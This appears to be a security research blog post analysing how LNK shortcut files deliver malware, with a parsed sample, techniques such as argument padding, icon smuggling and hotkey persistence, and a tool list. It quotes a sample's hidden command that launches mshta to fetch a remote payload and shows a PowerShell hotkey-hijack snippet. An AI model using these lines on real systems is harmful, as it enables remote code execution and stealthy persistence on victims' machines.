We did a quick study on the most common ways to deliver malware through LNK files.
The LNK file format, also known as shortcut files or Shell Link binary, was introduced in Windows 95. It is used to create shortcuts to original files, folders, applications or even URLs. Thus, LNK files contain various pieces of information, such as the path to the original target, a custom icon, and even instructions on how the object should be executed or opened. This makes it perfect for a dropper.
The most widely known malware that used the LNK file format is the infamous Stuxnet, the targeted malware used to deliver a payload to sabotage the uraninum enrichment plant in Iran. The Stuxnet worm used LNK files to propagate by exploiting the CVE-2010-2568 "vulnerability" discovered in the wild on June 17th, 2010. The first use of the LNK vulnerability dates back to November 2008 by the Trojan.Zlob malware. Microsoft issued the MS10-046 security update to patch the LNK vulnerability on August 2nd, 2010. And yet, 14 years later, the LNK file format continues to be abused to deliver malware!
LNK files are used a lot more in recent attacks due to the decline of macro-based attacks since Microsoft's 2022 changes. The fact that they offer multiple ways to infect a machine makes it one of the prime candidates for Office macro's replacement. They are already used in dozens of malware campaigns with families such as Qakbot, IcedID, Emotet, Ursnif, Redline and many more.
The Shell Link Binary format specifications are available here, but here's a summary:
Field Name | Required | Type | Details | LinkFlags |
---|---|---|---|---|
SHELL_LINK_HEADER | ✅ | ShellLinkHeader structure | Identification info, timestamps, flags to specify the presence of optional structs | - |
LINKTARGET_IDLIST | ❌ | LinkTargetIDList structure | Specifies the target of the link | HasLinkTargetIDList |
LINKINFO | ❌ | LinkInfo structure | Specifies info to resolve the link target | HasLinkInfo |
STRING_DATA | ❌ | StringData structure(s) | Specifies UI and path identification elements | (Many) |
EXTRA_DATA | ❌ | ExtraData structure(s) | Additional information about the link target |
The SHELL_LINK_HEADER
is the only part of an LNK file which has to be present.
Like all headers, this one describes the contents
of the LNK file, and more specifically the presence (or not) of optional
structures with the LinkFlags
structure.
{S_2.1 - ShellLinkHeader}
Header Size: 76 bytes
Link File Class ID: {00021401-0000-0000-C000-000000000046}
Flags: 0x000800BB HasLinkTargetIDList | HasLinkInfo | HasRelativePath | HasWorkingDir | HasArguments | IsUnicode | EnableTargetMetadata
Attributes: 0x00000020 FILE_ATTRIBUTE_ARCHIVE
Creation Time: 2020-07-03 22:51:57.9661242 (UTC)
Access Time: 2020-07-06 04:18:49.8035543 (UTC)
Write Time: 2020-07-06 04:18:49.5765275 (UTC)
Target Size: 1490944 bytes
Icon Index: 0
Window State: SW_SHOWNORMAL
Hot Keys: No Modifier key(s): And no key assigned.
Reserved1: 0x0000
Reserved2: 0x00000000
Reserved3: 0x00000000
LINKTARGET_IDLIST
is the part of the file that describes the target's
location on the system using a list of ItemID
objects, one item for each subfolder in the path and one for the file.
{S_2.2 - LinkTargetIDList}
Size: 281 bytes
IDList Size: 279 bytes
Number of ItemIDs 4
{ItemID 1}
ItemID Size: 20 bytes
[No Property Stores found in this ITemID. Here is the raw data:]
OFFSET 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ANSI
---------------------------------------------------------------------
00000000 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 .P.O. .:i.....+0
00000010 30 9D 19 00 0...
{ItemID 2}
ItemID Size: 25 bytes
[No Property Stores found in this ITemID. Here is the raw data:]
OFFSET 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ANSI
---------------------------------------------------------------------
00000000 2F 43 3A 5C 00 00 00 00 00 00 00 00 00 00 00 00 /C:\............
00000010 00 00 00 00 00 00 00 74 00 .......t.
{ItemID 3}
ItemID Size: 116 bytes
[No Property Stores found in this ITemID. Here is the raw data:]
OFFSET 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ANSI
---------------------------------------------------------------------
00000000 31 00 00 00 00 00 E6 50 47 23 10 00 41 4E 4F 4E 1......PG#..ANON
00000010 59 4D 7E 31 2E 30 00 00 5A 00 09 00 04 00 EF BE YM~1.0..Z.......
00000020 E6 50 A3 22 E6 50 47 23 2E 00 00 00 8D 34 0E 00 .P.".PG#.....4..
00000030 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 00 00 14 23 F9 00 41 00 6E 00 6F 00 6E 00 79 00 ...#..A.n.o.n.y.
00000050 6D 00 75 00 73 00 42 00 72 00 6F 00 77 00 73 00 m.u.s.B.r.o.w.s.
00000060 65 00 72 00 2D 00 76 00 32 00 2E 00 30 00 00 00 e.r.-.v.2...0...
00000070 1A 00 74 00 ..t.
{ItemID 4}
ItemID Size: 116 bytes
[No Property Stores found in this ITemID. Here is the raw data:]
OFFSET 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ANSI
---------------------------------------------------------------------
00000000 32 00 00 C0 16 00 E6 50 59 22 20 00 41 4E 4F 4E 2......PY" .ANON
00000010 59 4D 7E 31 2E 45 58 45 00 00 58 00 09 00 04 00 YM~1.EXE..X.....
00000020 EF BE E3 50 7D B6 E6 50 59 22 2E 00 00 00 12 95 ...P}..PY"......
00000030 0E 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 00 00 00 00 E5 9D 40 00 41 00 6E 00 6F 00 6E 00 [email protected].
00000050 79 00 6D 00 75 00 73 00 42 00 72 00 6F 00 77 00 y.m.u.s.B.r.o.w.
00000060 73 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 s.e.r...e.x.e...
00000070 1C 00 00 00 ....
IDList Terminator 2 bytes
LINKINFO
is a structure that holds information relevant to resolve the link target
(finding the target, confirming it exists, and finding out whether it has moved).
{S_2.3 - LinkInfo}
Total Size: 90 bytes
Header Size: 28 bytes
Flags: 0x00000001 VolumeIDAndLocalBasePath
Volume ID Offset: 28
Base Path Offset: 45
CNR Link Offset: 0
CPS Offset: 89
LBP Offset Unicode: [NOT SET]
CPS Offset Unicode: [NOT SET]
{S_2.3.1 - LinkInfo - VolumeID}
Vol ID Size: 17 bytes
Drive Type: DRIVE_FIXED
Drive Serial No: D215CBDB
Vol Label Offset: 16
Volume Label: [EMPTY]
Local Base Path: C:\AnonymusBrowser-v2.0\AnonymusBrowser.exe
STRING_DATA
is a structure that can hold the following elements:
Field Name | Details | LinkFlags |
---|---|---|
NAME_STRING | Description field of the shortcut | HasName |
RELATIVE_PATH | Path of the target file relative to the LNK file | HasRelativePath |
WORKING_DIR | Directory to use when activating the link target | HasWorkingDir |
COMMAND_LINE_ARGUMENTS | Arguments that will be used when activating the link target | HasArguments |
ICON_LOCATION | Path specifying the location of the LNK file's icon | HasIconLocation |
{S_2.4 - StringData}
StringData Size: 134 bytes
{S_2.4 - StringData - RELATIVE_PATH}
CountCharacters: 21 characters
Relative Path: .\AnonymusBrowser.exe
{S_2.4 - StringData - WORKING_DIR}
CountCharacters: 23 characters
Working Dir: C:\AnonymusBrowser-v2.0
{S_2.4 - StringData - COMMAND_LINE_ARGUMENTS}
CountCharacters: 20 characters
Cmd Line Args: no_ipcheck no_resize
EXTRA_DATA
contains additional information about the link target.
{S_2.5 - ExtraData}
Extra Data Size: 584 bytes
ED Structures: PROPERTY_STORE_PROPS | TRACKER_PROPS
{S_2.5.7 - ExtraData - PropertyStoreDataBlock}
File Offset: 677 bytes
BlockSize: 484 bytes
BlockSignature: 0xA0000009
Number of Stores: 4
{Property Store 1}
Store Size: 97 bytes
Version: 0x53505331
Format ID: {DABD30ED-0043-4789-A7F8-D013A4736622}
Name Type: Integer Name
Number of Values: 2
{Property Store 1 Property Value 1}
Value Size: 69 bytes
ID: 0x00000064
Property Type: 0x001F VT_LPWSTR
Value: AnonymusBrowser-v2.0 (C:)
{Property Store 1 Property Value 2}
Value Size: 0 bytes
{Property Store 2}
Store Size: 185 bytes
Version: 0x53505331
Format ID: {B725F130-47EF-101A-A5F1-02608C9EEBAC}
Name Type: Integer Name
Number of Values: 6
{Property Store 2 Property Value 1}
Value Size: 57 bytes
ID: 0x0000000A
Property Type: 0x001F VT_LPWSTR
Value: AnonymusBrowser.exe
{Property Store 2 Property Value 2}
Value Size: 21 bytes
ID: 0x0000000F
Property Type: 0x0040 VT_FILETIME
Value: 2020-07-03 22:51:58.0 (UTC)
{Property Store 2 Property Value 3}
Value Size: 21 bytes
ID: 0x0000000C
Property Type: 0x0015 VT_UI8
Value: 0x000000000016C000 (1490944)
{Property Store 2 Property Value 4}
Value Size: 37 bytes
ID: 0x00000004
Property Type: 0x001F VT_LPWSTR
Value: Uygulama
{Property Store 2 Property Value 5}
Value Size: 21 bytes
ID: 0x0000000E
Property Type: 0x0040 VT_FILETIME
Value: 2020-07-06 04:18:49.5765275 (UTC)
{Property Store 2 Property Value 6}
Value Size: 0 bytes
{Property Store 3}
Store Size: 133 bytes
Version: 0x53505331
Format ID: {28636AA6-953D-11D2-B5D6-00C04FD918D0}
Name Type: Integer Name
Number of Values: 2
{Property Store 3 Property Value 1}
Value Size: 105 bytes
ID: 0x0000001E
Property Type: 0x001F VT_LPWSTR
Value: C:\AnonymusBrowser-v2.0\AnonymusBrowser.exe
{Property Store 3 Property Value 2}
Value Size: 0 bytes
{Property Store 4}
Store Size: 57 bytes
Version: 0x53505331
Format ID: {446D16B1-8DAD-4870-A748-402EA43D788C}
Name Type: Integer Name
Number of Values: 2
{Property Store 4 Property Value 1}
Value Size: 29 bytes
ID: 0x00000068
Property Type: 0x0048 VT_CLSID
Value: UUID: {023067A7-0000-0000-0000-501F00000000}, Time: [N/A], Node (MAC addr): [N/A]
{Property Store 4 Property Value 2}
Value Size: 0 bytes
{S_2.5.10 - ExtraData - TrackerDataBlock}
File Offset: 581 bytes
BlockSize: 96 bytes
BlockSignature: 0xA0000003
Length: 88 bytes
Version: 0
MachineID: desktop-73cl5qt
Droid1: {2EBF7902-EDAA-43D6-A855-1512E2BABFF2}
UUID Version: 4 - ITU random number
UUID Variant: ITU variant
Droid2: {06CC9568-BF32-11EA-ABA1-008CFAAD700E}
UUID Version: 1 - ITU time based
UUID Variant: ITU variant
UUID Sequence: 161
UUID Time: 2020-07-06 02:40:17.1562344 (UTC)
UUID Node (MAC): 00:8C:FA:AD:70:0E
DroidBirth1: {2EBF7902-EDAA-43D6-A855-1512E2BABFF2}
UUID Version: 4 - ITU random number
UUID Variant: ITU variant
DroidBirth2: {06CC9568-BF32-11EA-ABA1-008CFAAD700E}
UUID Version: 1 - ITU time based
UUID Variant: ITU variant
UUID Sequence: 161
UUID Time: 2020-07-06 02:40:17.1562344 (UTC)
UUID Node (MAC): 00:8C:FA:AD:70:0E
As LNK files are shortcut files, they can reference all sorts of paths on the
user's machine (including UNC paths), meaning that they can run both cmd.exe
and powershell
, with any argument. Most LNK files can also be setup to run
in a minimized window in order to prevent detection from the user (3). The
following example will run forfiles.exe
, calling Vss, which will in turn
start mshta
to retrieve a longer payload from a server (1):
..\..\..\..\Windows\System32\forfiles.exe /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup
The target (1) is run in a hidden window to prevent detection from the user, along with the Microsoft Edge shortcut. While this sample contains its whole payload in the "Target" field, making it very easy to analyze, LNK malwares usually obfuscate these fields a lot more, for example with base64, chaining commands, fetching payloads from the web or other techniques such as bamboozling.
This technique is used to separate the target of the LNK file from the arguments, thus hiding it from the user. It works by inserting a lot of whitespaces between the arguments and the target:
It's been specifically used by a China-linked threat actor targeting Taiwan to run a javascript payload stored in another folder:
%SystemRoot%\explorer.exe [255 whitespaces] __MACOS\_params2.cat.js
The weak link in the previous attack is that the true payload is still visible
to an analyst or to a curious user, and therefore can be detected by AVs.
A way for an attacker to hide payloads is to use the Icon Smuggling
technique.
The icon field (3) can be found in 2 places in the LNK file format:
- When using a static path as icon location like
C://Users/user1/Desktop/icon.ico
(which is the standard way, using the
Windows explorer LNK utility), it will be stored in the ICON_LOCATION
structure, the presence of which is determined by the HasIconLocation
flag in the header.
- When using an environment-aware path (that makes use of environment variables)
like %SystemRoot%\system32\SHELL32.dll,5
, it will be stored in the IconEnvironmentDataBlock
structure in the EXTRA_DATA
part of the file.
The IconEnvironmentDataBlock
structure looks like this:
This means that by using both the TargetAnsi
and TargetUnicode
fields, any
attacker can have access to 720 bytes of free space on any LNK file to either
write a payload, or hide a link that can be retrieved later with the Target
field,
and then downloaded & executed. The flow works like the following:
Another way to use icon smuggling, is by linking to an external SMB server. Because of Microsoft's automatic authentication feature, an attacker can successfully retrieve NTLM hashes from the victim. It appears to have been removed since then, but it can still be used to detect potential threats.
This is not a method of attack per se, but more of a persistence technique. Each LNK file can be associated with a shortcut (see (2)). When pressing the associated keys, the shortcut will be run automatically. This means that when downloaded, the file doesn't even need to be run by the user but will be triggered when the specific combination of keys is pressed, given that the windows explorer is open on the LNK's location.
Shortcut keys are limited to the CTRL + ALT + <any_key>
combination in the windows
file explorer, but with Powershell you can craft a script that allows any
combination, including very common ones like ctrl+C
or ctrl+V
:
$lnkPath = "./ShortcutLnk.lnk"
$ShellObj = New-Object -ComObject Wscript.Shell
$lnk = $wshell.CreateShortcut($lnkPath)
$lnk.TargetPath = "your payload location"
$lnk.HotKey = "CTRL+C"
$lnk.Save()
CVE-2010-2568
, used in StuxNet and present in Windows XP machines, the
exploit is made by changing the "icon" pointed to by the LNK file to a Control
panel file (*.cpl). CVE-2017-8464
is based on the same principle, and both
lead to a remote code execution on the victim's machine.
Other techniques, such as bloating can be used to circumvent AV detection. It consitst in adding junk bytes to an executable in order to prevent analysis, since most sandboxes and analysis engines have a size limit (100MB for many public sandboxes, and 650MB for Virustotal). While bloating is used more in executable files, it has the same effect when used on LNK files.
Most open source LNK analysis tools are geared towards parsing and extraction
of the format's many fields, and come in dozens of flavours, but the most
efficient ones (in our opinion at the time of writing) are the following:
- Eric Zimmerman's LECmd
, a
great windows-only LNK parser written in C#;
- Matmaus' LnkParse3
, a python
module that can also parse malformed/broken LNK files;
- Paul-Tew's Lifer
, written in C, and
the only parser that does not miss a single field in LNK files.
The remaining LNK-related tools on GitHub are mainly designed to create
malicious LNK files in order to better understand their capabilities, here's
a short list of examples:
- lnkbomb
can be used to create an LNK
file that will retrieve NTLMv1/v2 hashes from some windows machines via
insecure file shares.
- SharpLNKGen
, a small windows
tool that enables us to easily create shortcuts with custom icons, include
bamboozling, and even use Alternate Data Streams to hide information.
- lnk2pwn
, a *nix tool that can
create LNK files with a few options.
- LNKUp
, a project that's made to
generate various payloads to steal NTLM hashes or environment variables.
The LNK file format has evolved into a versatile tool for malware authors due to its flexibility and the detailed information it can store. Its ability to link to various executable paths, camouflage itself through known icons, and run commands invisibly makes it an effective replacement for traditional macro-based attacks. The increased use of LNK files in recent malware campaigns highlights their evolution in modern cybersecurity threats.
Many thanks to Philippe Lagadec for his valuable inputs, documentation and proofreading, and to our Quarkslab colleagues for reviewing this article!
If you would like to learn more about our security audits and explore how we can help you, get in touch with us!